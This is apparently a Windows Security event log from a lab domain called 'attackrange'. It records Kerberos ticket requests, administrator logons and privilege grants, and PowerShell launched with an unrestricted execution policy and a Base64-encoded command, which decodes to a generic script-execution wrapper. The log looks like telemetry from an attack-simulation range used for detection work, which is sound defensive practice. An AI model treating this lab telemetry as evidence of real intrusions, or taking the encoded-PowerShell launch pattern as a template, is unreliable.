{94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258061 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258060 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570395 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258059 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570395 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258058 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570395 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258057 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258056 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258055 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258054 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x56205A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258053 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x561262 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258052 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55F201 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258051 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x119c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x484 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBCB8.tmp" "c:\Users\Administrator\AppData\Local\Temp\dpghsoxh\CSC9100C513553D4E579BC5FD23841D6C4.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258050 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x294 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\dpghsoxh\dpghsoxh.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258096 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x573406 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258095 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x573406 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258094 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258093 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258092 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258091 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x474 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa98 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258090 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12bc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258089 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x571336 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258088 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x571336 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258087 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258086 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258085 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258084 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12bc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc14 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 